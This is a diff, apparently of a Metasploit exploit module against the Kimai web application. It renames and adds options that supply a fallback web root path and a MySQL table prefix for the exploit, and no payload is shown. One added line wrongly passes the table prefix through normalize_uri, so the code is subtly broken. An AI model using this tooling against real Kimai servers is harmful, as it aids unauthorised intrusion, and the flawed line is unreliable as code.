@@ -54,7 +54,8 @@ def initialize(info={})
54
54
register_options (
55
55
[
56
56
OptString . new ( 'TARGETURI' , [ true , 'The base path to Kimai' , '/kimai/' ] ) ,
57
- OptString . new ( 'TARGETPATH' , [ false , 'The path to the web server document root directory' , '/var/www/' ] )
57
+ OptString . new ( 'FALLBACK_TARGET_PATH' , [ false , 'The path to the web server document root directory' , '/var/www/' ] ) ,
58
+ OptString . new ( 'FALLBACK_TABLE_PREFIX' , [ false , 'The MySQL table name prefix string for Kimai tables' , 'kimai_' ] )
58
59
] , self . class )
59
60
end
60
61
@@ -90,7 +91,7 @@ def exploit
90
91
path = "#{ $1} "
91
92
print_good ( "#{ peer } - Found file system path: #{ path } " )
92
93
else
93
- path = normalize_uri ( datastore [ 'TARGETPATH ' ] , target_uri . path )
94
+ path = normalize_uri ( datastore [ 'FALLBACK_TARGET_PATH ' ] , target_uri . path )
94
95
print_warning ( "#{ peer } - Could not retrieve file system path. Assuming '#{ path } '" )
95
96
end
96
97
@@ -103,7 +104,7 @@ def exploit
103
104
table_prefix = "#{ prefixes . flatten . last } "
104
105
print_good ( "#{ peer } - Found table name prefix: #{ table_prefix } " )
105
106
else
106
- table_prefix = 'kimai_'
107
+ table_prefix = normalize_uri ( datastore [ 'FALLBACK_TABLE_PREFIX' ] , target_uri . path )
107
108
print_warning ( "#{ peer } - Could not retrieve MySQL table name prefix. Assuming '#{ table_prefix } '" )
108
109
end
109
110
0 commit comments